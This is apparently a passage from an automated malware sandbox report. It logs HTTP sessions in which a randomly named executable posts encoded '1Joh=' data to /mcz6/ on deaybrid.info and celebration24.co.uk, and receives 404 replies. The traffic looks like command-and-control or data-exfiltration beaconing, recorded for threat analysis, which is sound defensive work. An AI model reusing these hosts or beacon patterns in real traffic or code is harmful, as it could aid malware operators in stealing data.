Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:20:28.696790934 CEST	756	OUT	POST /mcz6/ HTTP/1.1 Host: www.deaybrid.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.deaybrid.info Referer: http://www.deaybrid.info/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 55 35 31 5a 73 35 6a 2f 6e 66 65 61 34 69 69 45 31 52 42 41 72 38 4d 31 44 2f 43 39 53 61 2f 48 71 42 54 30 64 6a 4d 2b 69 49 78 65 44 74 63 49 52 30 65 7a 54 76 4c 69 55 51 51 74 70 35 61 4e 6b 71 38 70 53 76 70 6f 43 67 30 30 72 64 36 50 57 32 52 54 6a 64 4a 61 2b 5a 6e 4b 68 4e 48 76 56 2f 62 5a 62 65 42 37 47 56 4b 44 62 74 43 6d 65 4d 2b 74 70 72 52 52 41 46 46 61 42 72 6f 32 2f 53 68 50 79 6f 56 6e 6e 6a 79 45 38 55 49 4a 76 30 38 34 51 38 48 6b 73 50 54 76 52 6e 42 61 2f 63 65 5a 4f 66 35 52 4c 54 7a 64 63 73 49 6f 58 44 6b 58 50 6d 76 74 4b 54 79 65 52 47 36 59 49 49 67 53 6e 69 51 77 30 7a 38 6e 32 31 6f 44 4e 41 3d 3d Data Ascii: 1Joh=U51Zs5j/nfea4iiE1RBAr8M1D/C9Sa/HqBT0djM+iIxeDtcIR0ezTvLiUQQtp5aNkq8pSvpoCg00rd6PW2RTjdJa+ZnKhNHvV/bZbeB7GVKDbtCmeM+tprRRAFFaBro2/ShPyoVnnjyE8UIJv084Q8HksPTvRnBa/ceZOf5RLTzdcsIoXDkXPmvtKTyeRG6YIIgSniQw0z8n21oDNA==
May 16, 2024 17:20:30.030138969 CEST	533	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:20:29 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49737	162.0.237.22	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:20:31.231916904 CEST	1769	OUT	POST /mcz6/ HTTP/1.1 Host: www.deaybrid.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.deaybrid.info Referer: http://www.deaybrid.info/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 55 35 31 5a 73 35 6a 2f 6e 66 65 61 34 69 69 45 31 52 42 41 72 38 4d 31 44 2f 43 39 53 61 2f 48 71 42 54 30 64 6a 4d 2b 69 49 4a 65 44 65 55 49 57 6e 32 7a 53 76 4c 69 56 51 51 6f 70 35 61 63 6b 71 45 74 53 76 6c 53 43 6c 77 30 72 2b 79 50 54 48 52 54 73 64 4a 61 6d 5a 6e 50 2b 39 47 6c 56 2f 4c 64 62 66 78 37 47 56 4b 44 62 6f 47 6d 61 64 2b 74 36 37 52 53 57 56 46 47 4b 4c 6f 61 2f 53 35 66 79 70 67 61 6d 51 36 45 38 30 59 4a 75 47 55 34 63 38 48 63 69 76 54 33 52 6e 4e 46 2f 63 44 67 4f 66 39 37 4c 54 62 64 51 71 31 2b 44 33 77 4f 59 45 2f 65 4b 67 62 35 4a 53 32 69 42 37 4a 48 6d 44 49 6b 68 58 70 47 79 32 4d 48 50 6a 49 61 6d 57 2b 44 6f 70 2f 49 70 6b 64 2f 49 57 41 42 73 34 4c 71 61 32 2f 75 6b 57 30 45 42 7a 68 62 32 58 38 51 56 56 67 76 50 6e 39 46 33 55 6c 55 5a 6c 67 37 34 48 33 47 7a 7a 4f 4f 49 75 32 75 31 79 6f 4f 6d 57 51 38 2b 44 62 31 47 41 4b 42 54 4d 6b 36 30 63 53 53 76 37 48 76 71 49 73 36 48 67 73 66 43 4f 70 34 39 72 6d 5a 6b 72 66 6e 6a 76 73 61 59 6a 47 46 2b [TRUNCATED] Data Ascii: 1Joh=U51Zs5j/nfea4iiE1RBAr8M1D/C9Sa/HqBT0djM+iIJeDeUIWn2zSvLiVQQop5ackqEtSvlSClw0r+yPTHRTsdJamZnP+9GlV/Ldbfx7GVKDboGmad+t67RSWVFGKLoa/S5fypgamQ6E80YJuGU4c8HcivT3RnNF/cDgOf97LTbdQq1+D3wOYE/eKgb5JS2iB7JHmDIkhXpGy2MHPjIamW+Dop/Ipkd/IWABs4Lqa2/ukW0EBzhb2X8QVVgvPn9F3UlUZlg74H3GzzOOIu2u1yoOmWQ8+Db1GAKBTMk60cSSv7HvqIs6HgsfCOp49rmZkrfnjvsaYjGF+CIc9GVbPLNZfgngg9ljKQG0UDc48pphxsnPTT0KbV1D3BgQgmeXFcO4IpZ3GryNgE7/3UIDkrPCTZbOBDdugcKyxXphQ7IcQLQXy9C13xusX3yaBkc974u4K2+aiIHuxNhNxStXay7lhOnexdLy247EiBKY0sTJ26uvOwq0B02i77jkB9f2+pxkDRzN/sznPjwitxgvYsoIO88tL98hpxiRDHA8405kc1e8vZS21VSElyk3TWxoQcdIAzoF/PSsdjI2M2EIMHEUB0wW0A7F9yS0dTq9uLkECppLqMfpPmu9stRufDEXxzNVtQ12v7vna+8ICAKbAsG3jt6/k1DnlgV6V/p8bLydtJpd+hOYiLvSYBIq+xGZLmMRdq5xuI+CVft0fomE+fUbfE7YaLahi+suYsdPW8GvGjTSUn5qW263q5fOKRMj1iH4bt3SBmsoGvJr4D3KEeMD/ItMTh6OXLyI26RE2Mhj26Rp2mkabU9ON5HEd7UuRvCtl9X+BR6iPP7t3Aeo2LDWJKnRjhTpn6HYGw0p31GRzusCLQsOp8Wq4uq9Rl2s466SHwAKBNfWuLNZmIMuSXo05sNgHBNQqpc1+rGyECJMyBXVemKrdC6tR32FF3ubDcqNqLmWKCCdurmi5Jl9nwgP0HHG7bitSiaHLus43w1Ex85 [TRUNCATED]
May 16, 2024 17:20:32.106977940 CEST	533	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:20:31 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49738	162.0.237.22	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:20:33.776360035 CEST	473	OUT	GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=Z7d5vO3PiPWE/zeG4Btin5s4Ysi+TbPypBLuOElxuuV1BOUgEEq9TvThZhsN+4G3m8UtXtkpFAILmOKtc08UqI4ilaLC+vP+XuzsWsJjJ3qBfbOqHA== HTTP/1.1 Host: www.deaybrid.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:20:34.576129913 CEST	548	IN	HTTP/1.1 404 Not Found Date: Thu, 16 May 2024 15:20:34 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49739	103.168.172.37	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:04.300153971 CEST	750	OUT	POST /mcz6/ HTTP/1.1 Host: www.celebration24.co.uk Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.celebration24.co.uk Referer: http://www.celebration24.co.uk/mcz6/ Connection: close Content-Length: 193 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 62 4f 55 34 4b 74 5a 31 4d 32 68 57 63 75 62 72 52 34 76 64 4f 32 66 61 38 4e 62 4b 4e 47 59 73 70 6d 42 7a 6b 50 72 64 44 59 38 68 62 45 30 48 56 68 5a 37 53 30 5a 4e 43 6d 78 6e 2f 4c 34 48 34 55 35 69 37 76 37 64 6b 51 4e 35 76 71 6f 56 77 4a 2b 56 6f 47 52 54 66 73 77 57 7a 79 30 79 4a 7a 61 58 48 37 7a 4e 57 58 6f 7a 36 2b 31 73 63 32 75 6e 6c 54 42 52 33 45 2b 72 7a 61 6e 71 6c 32 6d 56 50 67 41 61 49 64 47 34 50 68 72 58 41 4c 31 33 6d 6e 78 35 56 2b 6d 41 52 76 76 42 50 67 67 73 68 4d 39 64 36 77 6d 43 4a 67 72 67 37 39 61 46 33 73 4f 33 35 52 70 43 Data Ascii: 1Joh=bOU4KtZ1M2hWcubrR4vdO2fa8NbKNGYspmBzkPrdDY8hbE0HVhZ7S0ZNCmxn/L4H4U5i7v7dkQN5vqoVwJ+VoGRTfswWzy0yJzaXH7zNWXoz6+1sc2unlTBR3E+rzanql2mVPgAaIdG4PhrXAL13mnx5V+mARvvBPggshM9d6wmCJgrg79aF3sO35RpC
May 16, 2024 17:21:05.327138901 CEST	570	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 16 May 2024 15:21:05 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close x-backend: web4 X-Frontend: frontend1 X-Trace-Id: ti_159389ade035d0ad7fc69ce6881f36b4 Content-Encoding: br Data Raw: 31 31 35 0d 0a a1 f8 10 00 20 cb d6 ea 94 b4 37 dd f1 26 f4 d7 64 79 c0 b9 0d dc 14 d8 7b 87 fe a3 a8 f0 9c 0b 14 71 6d ba d5 20 e2 df 4b 3d 9b 8b ea a1 e3 9a 7c 04 d0 e2 fd 81 10 0e b6 8e bd 63 48 c8 36 21 91 82 70 d8 12 16 b2 41 78 db 29 8a e4 d1 03 aa 1c b3 28 2f 42 72 83 d6 87 c2 44 79 10 43 10 d6 50 11 67 64 9b ee 11 0c c9 8d 96 71 2e 50 14 fa 29 d8 85 c4 16 fd 4f 9c 74 47 db 93 ac 5b a6 2a db 17 87 0b 76 49 c4 df 04 8a da d1 a8 00 5c 78 20 cb 61 b6 cb 47 f0 66 42 6d 5c 42 e5 a2 a3 e9 25 40 0f 56 62 0c f2 c1 80 09 2c 0f 44 38 11 83 2c 33 55 e1 8c 4c e5 3f 67 ad 78 85 b3 bc 60 b2 2e 73 b3 dc 58 ca 4e 90 f4 34 ec 00 4f 75 73 c0 9e 9c 1f 59 45 11 e4 66 51 26 99 c1 3b e1 bb 97 ed 2f 5b 25 7e e4 b2 d5 e6 0f 3a 0a cd 68 51 e6 58 66 1b f9 d6 b8 64 56 07 83 6f 78 57 48 c8 71 91 1d 9f 46 5e c8 e0 46 eb 73 19 10 02 c0 10 ce be 82 96 04 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 7&dy{qm K=\|cH6!pAx)(/BrDyCPgdq.P)OtG[*vI\x aGfBm\B%@Vb,D8,3UL?gx`.sXN4OusYEfQ&;/[%~:hQXfdVoxWHqF^Fs0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49740	103.168.172.37	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:06.836740017 CEST	774	OUT	POST /mcz6/ HTTP/1.1 Host: www.celebration24.co.uk Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.celebration24.co.uk Referer: http://www.celebration24.co.uk/mcz6/ Connection: close Content-Length: 217 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 62 4f 55 34 4b 74 5a 31 4d 32 68 57 66 4e 54 72 54 62 48 64 5a 6d 65 6f 35 4e 62 4b 61 57 59 6f 70 6d 64 7a 6b 4b 4c 4e 57 37 49 68 59 67 77 48 55 67 5a 37 52 30 5a 4e 4e 47 78 69 37 4c 34 4d 34 55 45 56 37 75 48 64 6b 51 5a 35 76 72 59 56 78 36 47 53 75 57 52 52 54 4d 77 59 39 53 30 79 4a 7a 61 58 48 37 6d 6f 57 58 67 7a 36 75 46 73 4f 55 47 6b 6d 54 42 57 6a 55 2b 72 33 61 6e 75 6c 32 6d 33 50 6a 45 38 49 62 43 34 50 68 62 58 4f 36 31 34 76 6e 78 37 4b 75 6e 38 63 75 76 46 55 41 70 77 38 75 74 64 6a 6d 71 2f 4b 42 4c 2b 71 50 54 65 69 37 4f 51 2b 32 67 71 6d 66 35 4b 43 4c 53 2f 4f 6c 71 72 61 68 49 4e 6b 51 73 74 33 41 3d 3d Data Ascii: 1Joh=bOU4KtZ1M2hWfNTrTbHdZmeo5NbKaWYopmdzkKLNW7IhYgwHUgZ7R0ZNNGxi7L4M4UEV7uHdkQZ5vrYVx6GSuWRRTMwY9S0yJzaXH7moWXgz6uFsOUGkmTBWjU+r3anul2m3PjE8IbC4PhbXO614vnx7Kun8cuvFUApw8utdjmq/KBL+qPTei7OQ+2gqmf5KCLS/OlqrahINkQst3A==
May 16, 2024 17:21:07.658236027 CEST	570	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 16 May 2024 15:21:07 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close x-backend: web4 X-Frontend: frontend1 X-Trace-Id: ti_c73188c602a93f2d446cefd441e22c7b Content-Encoding: br Data Raw: 31 31 35 0d 0a a1 f8 10 00 20 cb d6 ea 94 b4 37 dd f1 26 f4 d7 64 79 c0 b9 0d dc 14 d8 7b 87 fe a3 a8 f0 9c 0b 14 71 6d ba d5 20 e2 df 4b 3d 9b 8b ea a1 e3 9a 7c 04 d0 e2 fd 81 10 0e b6 8e bd 63 48 c8 36 21 91 82 70 d8 12 16 b2 41 78 db 29 8a e4 d1 03 aa 1c b3 28 2f 42 72 83 d6 87 c2 44 79 10 43 10 d6 50 11 67 64 9b ee 11 0c c9 8d 96 71 2e 50 14 fa 29 d8 85 c4 16 fd 4f 9c 74 47 db 93 ac 5b a6 2a db 17 87 0b 76 49 c4 df 04 8a da d1 a8 00 5c 78 20 cb 61 b6 cb 47 f0 66 42 6d 5c 42 e5 a2 a3 e9 25 40 0f 56 62 0c f2 c1 80 09 2c 0f 44 38 11 83 2c 33 55 e1 8c 4c e5 3f 67 ad 78 85 b3 bc 60 b2 2e 73 b3 dc 58 ca 4e 90 f4 34 ec 00 4f 75 73 c0 9e 9c 1f 59 45 11 e4 66 51 26 99 c1 3b e1 bb 97 ed 2f 5b 25 7e e4 b2 d5 e6 0f 3a 0a cd 68 51 e6 58 66 1b f9 d6 b8 64 56 07 83 6f 78 57 48 c8 71 91 1d 9f 46 5e c8 e0 46 eb 73 19 10 02 c0 10 ce be 82 96 04 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 7&dy{qm K=\|cH6!pAx)(/BrDyCPgdq.P)OtG[*vI\x aGfBm\B%@Vb,D8,3UL?gx`.sXN4OusYEfQ&;/[%~:hQXfdVoxWHqF^Fs0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49741	103.168.172.37	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:09.369940042 CEST	1787	OUT	POST /mcz6/ HTTP/1.1 Host: www.celebration24.co.uk Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.celebration24.co.uk Referer: http://www.celebration24.co.uk/mcz6/ Connection: close Content-Length: 1229 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Data Raw: 31 4a 6f 68 3d 62 4f 55 34 4b 74 5a 31 4d 32 68 57 66 4e 54 72 54 62 48 64 5a 6d 65 6f 35 4e 62 4b 61 57 59 6f 70 6d 64 7a 6b 4b 4c 4e 57 36 77 68 62 54 34 48 56 44 42 37 51 30 5a 4e 45 6d 78 6a 37 4c 34 64 34 55 63 52 37 75 4b 6d 6b 53 68 35 76 4e 45 56 32 4c 47 53 6e 57 52 52 62 73 77 5a 7a 79 30 6e 4a 7a 71 62 48 37 32 6f 57 58 67 7a 36 73 4e 73 59 32 75 6b 67 54 42 52 33 45 2b 64 7a 61 6e 43 6c 32 76 41 50 67 6f 4b 49 49 4b 34 50 46 33 58 43 6f 64 34 6b 6e 78 39 4c 75 6e 6b 63 72 32 62 55 41 6b 4a 38 76 5a 33 6a 68 47 2f 41 47 79 67 76 75 62 30 35 72 4c 6e 33 55 55 78 76 35 39 72 44 59 76 77 52 56 6d 49 44 67 4a 53 6e 52 35 5a 72 6c 54 30 76 43 68 42 62 62 59 4a 65 34 78 43 72 6a 6e 31 48 51 73 47 71 2f 39 53 47 63 35 34 54 6c 53 37 4e 56 36 6e 33 4c 62 72 44 69 77 62 6f 32 57 48 35 4d 69 55 77 33 43 31 6f 70 69 74 33 70 6c 4d 52 78 47 35 58 63 50 72 74 55 6d 45 72 65 4c 45 2f 47 4b 54 64 31 7a 34 42 70 65 44 34 43 63 5a 61 34 44 69 71 6c 53 78 47 4d 37 32 56 76 37 49 34 64 54 5a 58 37 49 35 79 [TRUNCATED] Data Ascii: 1Joh=bOU4KtZ1M2hWfNTrTbHdZmeo5NbKaWYopmdzkKLNW6whbT4HVDB7Q0ZNEmxj7L4d4UcR7uKmkSh5vNEV2LGSnWRRbswZzy0nJzqbH72oWXgz6sNsY2ukgTBR3E+dzanCl2vAPgoKIIK4PF3XCod4knx9Lunkcr2bUAkJ8vZ3jhG/AGygvub05rLn3UUxv59rDYvwRVmIDgJSnR5ZrlT0vChBbbYJe4xCrjn1HQsGq/9SGc54TlS7NV6n3LbrDiwbo2WH5MiUw3C1opit3plMRxG5XcPrtUmEreLE/GKTd1z4BpeD4CcZa4DiqlSxGM72Vv7I4dTZX7I5ye5FqS5igM8anF86lonQFMayTYEIql7fxacja9o9eCWrqzpArSV1h30h478EGWcgesRHLOsWqYqEnoQ0wXnn0b73TTbqAkzYiJ0AhMm7dhTh02ZeMvdyEHjwEcNnWhKM/orzFPJrDWQSPl7lW4yKKd+9Tw6t9oQ61rmNktx0Eow9s7GEh1b/3O/AVsGAxyfOocaTZi68n1Bzbp80mpqHkiknCKETqFQcf7dlbUxgN5k4kdGL2A8MiOofPpkt7y1CBuPgwSMwGjPl6SjfQLGuV74exoZTMdG8TO1PZgE0gu5MltKPNoYOxN8PCVAMrO455KrE9TjpHUJWT+3YUZYAEvz4vnido8mFkmiNMQncbx+ClbVICpPmAoHYP+qK1WDXvnYF88cwZR2JC+UeUJwhHqgT8SoQU0HgSnbFe+UwDCXJgw1rTDP+cKwXMoHiekT3xkKuMQ7H+bZtJlkcrIrHOJBXwRuQrB/iH40bgQExZahuD8fBVpYyrHPBu4FX38cQDyesRq8KrksCc5NdqcvMLUHYaYY27Xm62kAPi0Qp6uCKMIuFF/FOslpsbETCeflRLLO5a/rogv9D/fxtnDoVl+MOaur5CVlMa+QHgS0dXfzv8en6q/ObM/+vHERM4sRNrZwc5O4/y+eHXheSuo2Oy18NqvKrPT+3gnV [TRUNCATED]
May 16, 2024 17:21:10.088704109 CEST	570	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 16 May 2024 15:21:09 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close x-backend: web4 X-Frontend: frontend1 X-Trace-Id: ti_58458f13e6035bc12306a06a351c87b4 Content-Encoding: br Data Raw: 31 31 35 0d 0a a1 f8 10 00 20 cb d6 ea 94 b4 37 dd f1 26 f4 d7 64 79 c0 b9 0d dc 14 d8 7b 87 fe a3 a8 f0 9c 0b 14 71 6d ba d5 20 e2 df 4b 3d 9b 8b ea a1 e3 9a 7c 04 d0 e2 fd 81 10 0e b6 8e bd 63 48 c8 36 21 91 82 70 d8 12 16 b2 41 78 db 29 8a e4 d1 03 aa 1c b3 28 2f 42 72 83 d6 87 c2 44 79 10 43 10 d6 50 11 67 64 9b ee 11 0c c9 8d 96 71 2e 50 14 fa 29 d8 85 c4 16 fd 4f 9c 74 47 db 93 ac 5b a6 2a db 17 87 0b 76 49 c4 df 04 8a da d1 a8 00 5c 78 20 cb 61 b6 cb 47 f0 66 42 6d 5c 42 e5 a2 a3 e9 25 40 0f 56 62 0c f2 c1 80 09 2c 0f 44 38 11 83 2c 33 55 e1 8c 4c e5 3f 67 ad 78 85 b3 bc 60 b2 2e 73 b3 dc 58 ca 4e 90 f4 34 ec 00 4f 75 73 c0 9e 9c 1f 59 45 11 e4 66 51 26 99 c1 3b e1 bb 97 ed 2f 5b 25 7e e4 b2 d5 e6 0f 3a 0a cd 68 51 e6 58 66 1b f9 d6 b8 64 56 07 83 6f 78 57 48 c8 71 91 1d 9f 46 5e c8 e0 46 eb 73 19 10 02 c0 10 ce be 82 96 04 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 7&dy{qm K=\|cH6!pAx)(/BrDyCPgdq.P)OtG[*vI\x aGfBm\B%@Vb,D8,3UL?gx`.sXN4OusYEfQ&;/[%~:hQXfdVoxWHqF^Fs0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49742	103.168.172.37	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
